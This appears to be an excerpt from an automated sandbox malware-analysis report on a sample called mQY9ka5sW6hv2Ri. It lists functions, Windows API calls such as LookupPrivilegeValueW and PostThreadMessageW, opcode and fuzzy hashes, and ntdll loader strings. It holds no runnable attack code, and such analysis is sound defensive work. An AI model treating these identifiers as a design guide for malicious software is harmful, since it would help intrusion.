                                          • Opcode ID: 52ac85f5c66e6a37d0cf83c067dc6a12ae60633a2f83bf9124616da158250ad0
                                          • Instruction ID: 0bac7ba97fb0955d837b189fb6d2cc797e577d51c83b24d1364ee89792e77b5b
                                          • Opcode Fuzzy Hash: 52ac85f5c66e6a37d0cf83c067dc6a12ae60633a2f83bf9124616da158250ad0
                                          • Instruction Fuzzy Hash: C2F0BE325002086FD724DF94DD84ED7776DEF48314F194158FA0C2B205C630B815CBE0
                                          Function 00408393 Relevance: 1.5, APIs: 1, Instructions: 30threadwindowCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 258 408393-40839d 259 408361-40836e PostThreadMessageW 258->259 260 40839f 258->260 261 408370-40838a call 40a480 259->261 262 40838d-408392 259->262 261->262
                                          APIs
                                          • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: MessagePostThread
                                          • String ID:
                                          • API String ID: 1836367815-0
                                          • Opcode ID: 6eec51cd5cbc637ff8c9c64eda528c4bf6606480b924b56c6c79be685ab85bdc
                                          • Instruction ID: cea3dd1c2d4e03bef2d070cc7d37e22a11b6c84044ede041af9274f9f89d2149
                                          • Opcode Fuzzy Hash: 6eec51cd5cbc637ff8c9c64eda528c4bf6606480b924b56c6c79be685ab85bdc
                                          • Instruction Fuzzy Hash: 31E0D81124021424E211412D6C47FBFB60CAB81B15F04416FFE84E51C3EAD5445583E2
                                          Function 0041A7C1 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 272 41a7c1-41a7ea call 41af60 274 41a7ef-41a804 LookupPrivilegeValueW 272->274
                                          APIs
                                          • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1D2,0040F1D2,0000003C,00000000,?,00409D65), ref: 0041A800
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: LookupPrivilegeValue
                                          • String ID:
                                          • API String ID: 3899507212-0
                                          • Opcode ID: 77714e3c6bf9d2f8047f5b03dfd7af8205a22a2cc0ac5750984c1500fff48a6d
                                          • Instruction ID: c33c435de7c334a0b7e9268f3a7fb24ec9c0c4ea43ac9f6eedffb5eb7172e1fd
                                          • Opcode Fuzzy Hash: 77714e3c6bf9d2f8047f5b03dfd7af8205a22a2cc0ac5750984c1500fff48a6d
                                          • Instruction Fuzzy Hash: 9CE022B42002006BCB10DF14EC84EE73B78EF45714F208099FD8A6B682CD35A811CBB4
                                          Function 0041A670 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • RtlFreeHeap.NTDLL(00000060,00409CF3,?,?,00409CF3,00000060,00000000,00000000,?,?,00409CF3,?,00000000), ref: 0041A69D
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: FreeHeap
                                          • String ID:
                                          • API String ID: 3298025750-0
                                          • Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                          • Instruction ID: 086aab0bc8c344d6c60c9bbd5a0512cabfd8005857d16272e4a7e29987098a06
                                          • Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                          • Instruction Fuzzy Hash: C1E012B1200208ABDB18EF99CC49EA777ACEF88764F118559BA085B242C630E9108AB0
                                          Function 0041A7D0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                          Download Yara Rule
                                          APIs
                                          • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1D2,0040F1D2,0000003C,00000000,?,00409D65), ref: 0041A800
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: LookupPrivilegeValue
                                          • String ID:
                                          • API String ID: 3899507212-0
                                          • Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                          • Instruction ID: 3f9aab8e47c10174471559fee5d267dc63a882ce56825bdd12c8e63267ac542a
                                          • Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                          • Instruction Fuzzy Hash: 23E01AB12002086BDB10DF49CC85EE737ADEF88654F118155BA0C57241C934E8118BF5
                                          Function 0041A6B0 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                          Download Yara Rule
                                          APIs
                                          • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A6D8
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: ExitProcess
                                          • String ID:
                                          • API String ID: 621844428-0
                                          • Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                          • Instruction ID: 671013aba82168957284564a3a9f05bc2528e3e40ec9789e05460755300894f7
                                          • Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                          • Instruction Fuzzy Hash: 68D017726002187BD620EB99CC85FD777ACDF48BA4F1580A9BA1C6B242C531BA108AE1
                                          Function 0041A6AE Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                          Download Yara Rule
                                          APIs
                                          • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A6D8
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771101612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_400000_mQY9ka5sW6hv2Ri.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: ExitProcess
                                          • String ID:
                                          • API String ID: 621844428-0
                                          • Opcode ID: 2c16a2eeeb6d3158863873f22b262cdbd8f6bdeb6eb6995631052757caa93ea6
                                          • Instruction ID: 720cee0962aa3085f22f9539f3278083e5f29018b8a1e3a680bf5fae4cad5eb8
                                          • Opcode Fuzzy Hash: 2c16a2eeeb6d3158863873f22b262cdbd8f6bdeb6eb6995631052757caa93ea6
                                          • Instruction Fuzzy Hash: 65D05E716003087BD620DF59CC86FD73BACDF49BA0F158068BA1C6B242C531FA00CAE2
                                          Function 011D2C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: InitializeThunk
                                          • String ID:
                                          • API String ID: 2994545307-0
                                          • Opcode ID: 8f82035e04d82463a7105c8909f4a09c4efebd0c05eebf29ae5372b9fc892d6b
                                          • Instruction ID: 3652bbc4da8800507982ef318becc07e0e2f2a8e6a8340f506c4c6b6bb42b6ed
                                          • Opcode Fuzzy Hash: 8f82035e04d82463a7105c8909f4a09c4efebd0c05eebf29ae5372b9fc892d6b
                                          • Instruction Fuzzy Hash: 3FB09B719019C5C5DA1AE7A4470C717794077D0701F25C161D2130641F4738C5D1E275

                                          Non-executed Functions

                                          Function 01212349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                          • API String ID: 0-2160512332
                                          • Opcode ID: 039239543201ec0df7667e819a506877b669fb62bdae792084caf091d93c2b53
                                          • Instruction ID: 83d6360443ec8345c316e0771fc5dd82186b0db1850907c10398d2523098e409
                                          • Opcode Fuzzy Hash: 039239543201ec0df7667e819a506877b669fb62bdae792084caf091d93c2b53
                                          • Instruction Fuzzy Hash: 3792AF71624342EFE725DF28C880B6BB7E9BBA4714F24482DFA94D7254D770E844CB92
                                          Function 011C8620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON
                                          Download Yara Rule
                                          Strings
                                          • undeleted critical section in freed memory, xrefs: 0120542B
                                          • Critical section debug info address, xrefs: 0120541F, 0120552E
                                          • Invalid debug info address of this critical section, xrefs: 012054B6
                                          • First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 012054E2
                                          • Critical section address, xrefs: 01205425, 012054BC, 01205534
                                          • Address of the debug info found in the active list., xrefs: 012054AE, 012054FA
                                          • 8, xrefs: 012052E3
                                          • Critical section address., xrefs: 01205502
                                          • Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 012054CE
                                          • corrupted critical section, xrefs: 012054C2
                                          • Thread is in a state in which it cannot own a critical section, xrefs: 01205543
                                          • Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 0120540A, 01205496, 01205519
                                          • double initialized or corrupted critical section, xrefs: 01205508
                                          • Thread identifier, xrefs: 0120553A
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
                                          • API String ID: 0-2368682639
                                          • Opcode ID: 40a21583d13fbe428aa963b794cd1e072a878c53e1370c2a85474fc0f17f6329
                                          • Instruction ID: 1e87b289c224ad08c630df94fc2761fd3a1880b1604e329c5f74db777f42047e
                                          • Opcode Fuzzy Hash: 40a21583d13fbe428aa963b794cd1e072a878c53e1370c2a85474fc0f17f6329
                                          • Instruction Fuzzy Hash: 9A81BFB0A50359EFDB25CF99C849BAEBBB5FB08B14F104219F604B7681D3B1A941CF60
                                          Function 011C29F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON
                                          Download Yara Rule
                                          Strings
                                          • SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 012025EB
                                          • SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 01202624
                                          • SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 01202498
                                          • @, xrefs: 0120259B
                                          • RtlpResolveAssemblyStorageMapEntry, xrefs: 0120261F
                                          • SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 01202412
                                          • SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 01202506
                                          • SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 01202602
                                          • SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 01202409
                                          • SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 012022E4
                                          • SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 012024C0
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
                                          • API String ID: 0-4009184096
                                          • Opcode ID: 986758d16aa20656fa13b4eb1d225ac3c6665fc6c1ac646dd42a4fba8844e185
                                          • Instruction ID: 59ff32427acc9f77df4e58726086cca95c92437659c228d77de32dc98c44d98c
                                          • Opcode Fuzzy Hash: 986758d16aa20656fa13b4eb1d225ac3c6665fc6c1ac646dd42a4fba8844e185
                                          • Instruction Fuzzy Hash: 48026FB1D002299FDB35DB54CD84BEAB7B8AB54704F0141EAE709A7282DB709F84CF59
                                          Function 01238B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
                                          • API String ID: 0-2515994595
                                          • Opcode ID: 7bc5b81427f9931214ba5cf24f61f11520132b84bad9ce5025c1a2318e3140ad
                                          • Instruction ID: b272858696b2fb5aa4f76a63cd7c857f13dd587a2b2d182821adb45198c55e02
                                          • Opcode Fuzzy Hash: 7bc5b81427f9931214ba5cf24f61f11520132b84bad9ce5025c1a2318e3140ad
                                          • Instruction Fuzzy Hash: D251C3B11243069BD32DCF288948BABBBECEFD8654F144A1DFA94C7280E770D505C792
                                          Function 01240274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                          • API String ID: 0-1700792311
                                          • Opcode ID: 02c7a255fccbd87493022f0ac9ef0fb4530a2636c8a5a7467427e9f70e50b554
                                          • Instruction ID: f30585403567fdab109d2701a1de962932fcb41e4bed18cb29485f60f35f0e46
                                          • Opcode Fuzzy Hash: 02c7a255fccbd87493022f0ac9ef0fb4530a2636c8a5a7467427e9f70e50b554
                                          • Instruction Fuzzy Hash: 69D1FE31920686DFDB2AEF68D441AEDBBF1FF49B14F088049F6469B252D7349980CB58
                                          Function 011C63FF Relevance: 10.3, Strings: 8, Instructions: 261COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$P1$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c$x,
                                          • API String ID: 0-312953572
                                          • Opcode ID: d6aae02cab86c07565c49d23afeb8f1b5c137be76902264ad8c270f5d2116783
                                          • Instruction ID: 649d046db6c10c601207a894ae2c72f1ea55395f6f19bf38dcf5afd8280a029a
                                          • Opcode Fuzzy Hash: d6aae02cab86c07565c49d23afeb8f1b5c137be76902264ad8c270f5d2116783
                                          • Instruction Fuzzy Hash: 91913830B117569FEB2EEF18E848BAEBBA1BB60F14F10421DDA00677C6D7749842C791
                                          Function 012189B3 Relevance: 10.3, Strings: 8, Instructions: 259COMMON
                                          Download Yara Rule
                                          Strings
                                          • AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 01218A67
                                          • x,, xrefs: 01218A35, 01218A5F
                                          • VerifierDebug, xrefs: 01218CA5
                                          • VerifierDlls, xrefs: 01218CBD
                                          • AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 01218A3D
                                          • HandleTraces, xrefs: 01218C8F
                                          • AVRF: -*- final list of providers -*- , xrefs: 01218B8F
                                          • VerifierFlags, xrefs: 01218C50
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags$x,
                                          • API String ID: 0-530485203
                                          • Opcode ID: fb2964667a883574d2f71b803e74fa231c73def254ca9418e1ab9bfd6fa1e877
                                          • Instruction ID: 9b5f7185c32b63b5797d8a2c349929518c8856dd743880b1185a167b54bb4f66
                                          • Opcode Fuzzy Hash: fb2964667a883574d2f71b803e74fa231c73def254ca9418e1ab9bfd6fa1e877
                                          • Instruction Fuzzy Hash: 8A914772662712EFD725EF68D8C0B6BBBE4BBB4B14F044518FA40AB248D7709D01CB91
                                          Function 0118645D Relevance: 8.9, Strings: 7, Instructions: 150COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c$x,
                                          • API String ID: 0-1135667044
                                          • Opcode ID: e74de4ec96421b0bfe46f298b1cd4146181186eeeee4ae474eef2d53657096bf
                                          • Instruction ID: db4a673e2f4630b59dce0414c58f0dc07527da995e01387967f21f254f2b796a
                                          • Opcode Fuzzy Hash: e74de4ec96421b0bfe46f298b1cd4146181186eeeee4ae474eef2d53657096bf
                                          • Instruction Fuzzy Hash: 9C51BE712087049FE72DEF64D849BABB7E8EF84A48F00491DE58597260E730E945CB92
                                          Function 0119EA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
                                          • API String ID: 0-1109411897
                                          • Opcode ID: 7ef1252d2a3a6fcbf13f9451e7308f01ae4f236dfc4b24998e0ed83b0b510872
                                          • Instruction ID: d4919334d7b2964110e9ac85d607b5557184f3bf0281d6d32e24626d615ff065
                                          • Opcode Fuzzy Hash: 7ef1252d2a3a6fcbf13f9451e7308f01ae4f236dfc4b24998e0ed83b0b510872
                                          • Instruction Fuzzy Hash: 61A24874A0562ACFDF68DF18C8887AEBBB5AF45304F1542E9D91DA7290DB309E81CF41
                                          Function 011C2674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                          Download Yara Rule
                                          Strings
                                          • RtlGetAssemblyStorageRoot, xrefs: 01202160, 0120219A, 012021BA
                                          • SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 01202178
                                          • SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 0120219F
                                          • SXS: %s() passed the empty activation context, xrefs: 01202165
                                          • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 012021BF
                                          • SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 01202180
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
                                          • API String ID: 0-861424205
                                          • Opcode ID: 7d09c59220557203b5f3565cd28abcc891bfc640b8838e4bf43a362209d57a83
                                          • Instruction ID: 56425d5894cfe57f0010bf722e7d0c73e20142ea1861bfc366e9e4c9a5c0385e
                                          • Opcode Fuzzy Hash: 7d09c59220557203b5f3565cd28abcc891bfc640b8838e4bf43a362209d57a83
                                          • Instruction Fuzzy Hash: 85313B36B50321B7F7168A998C89F6ABA78DB75E50F05015DFB04B7282D3709A00C6A1
                                          Function 011CC6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                          Download Yara Rule
                                          Strings
                                          • minkernel\ntdll\ldrredirect.c, xrefs: 01208181, 012081F5
                                          • Unable to build import redirection Table, Status = 0x%x, xrefs: 012081E5
                                          • minkernel\ntdll\ldrinit.c, xrefs: 011CC6C3
                                          • LdrpInitializeImportRedirection, xrefs: 01208177, 012081EB
                                          • Loading import redirection DLL: '%wZ', xrefs: 01208170
                                          • LdrpInitializeProcess, xrefs: 011CC6C4
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
                                          • API String ID: 0-475462383
                                          • Opcode ID: 8770eb337ae292564283ef11085a5b2ea0ca597ded46eb2d90d69f8942210d71
                                          • Instruction ID: 00a167ab20823ec887ef983d9f87b57e1413764053066c1d08ce4e08a1aafa3e
                                          • Opcode Fuzzy Hash: 8770eb337ae292564283ef11085a5b2ea0ca597ded46eb2d90d69f8942210d71
                                          • Instruction Fuzzy Hash: 1031E4716543469FD318EB28E985F6B77E4AFA4B14F05065CF944AB391D720EC04C7A3
                                          Function 011D096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 011D2DF0: LdrInitializeThunk.NTDLL ref: 011D2DFA
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 011D0BA3
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 011D0BB6
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 011D0D60
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 011D0D74
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
                                          • String ID:
                                          • API String ID: 1404860816-0
                                          • Opcode ID: b559333a1dea25ab8191fa6402e3d17339ee28371f963f672f9c3d3a5b72afd7
                                          • Instruction ID: 22c50a8273f21e7c87f0fd9320a1ed1eec7ca39c35bc89d54a269fe7c02b6c33
                                          • Opcode Fuzzy Hash: b559333a1dea25ab8191fa6402e3d17339ee28371f963f672f9c3d3a5b72afd7
                                          • Instruction Fuzzy Hash: E2426E71900715DFDB25CF28C880BAAB7F5FF48314F1445A9E99ADB242E770AA84CF61
                                          Function 011CC720 Relevance: 6.4, Strings: 5, Instructions: 141COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: +$ +$Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                          • API String ID: 0-4166866722
                                          • Opcode ID: aae641f8685457267a3b8f9d447746877f552042071b42fbd3ac3a3daf82edc2
                                          • Instruction ID: fb07043650b074ac571ff658246fa1b1a86d2e91d81167671d6387fe33ffcf30
                                          • Opcode Fuzzy Hash: aae641f8685457267a3b8f9d447746877f552042071b42fbd3ac3a3daf82edc2
                                          • Instruction Fuzzy Hash: AE412371511311AFC729EB68E848B5F7BE8EFA4A14F00492EF948D7291E734D800CB92
                                          Function 0119A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000004.00000002.1771924925.0000000001160000.00000040.00001000.00020000.00000000.sdmp, Offset: 01160000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_4_2_1160000_mQY9ka5sW6hv2Ri.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
                                          • API String ID: 0-379654539
                                          • Opcode ID: a386563333b04f83d7cb56bc18f31fe9eb01dde9840f39255dd7a914310ded01
                                          • Instruction ID: e0ec8329bfb497a4c53050e033a55a79a396dfcaf8ea882ea82f69443509182f
                                          • Opcode Fuzzy Hash: a386563333b04f83d7cb56bc18f31fe9eb01dde9840f39255dd7a914310ded01
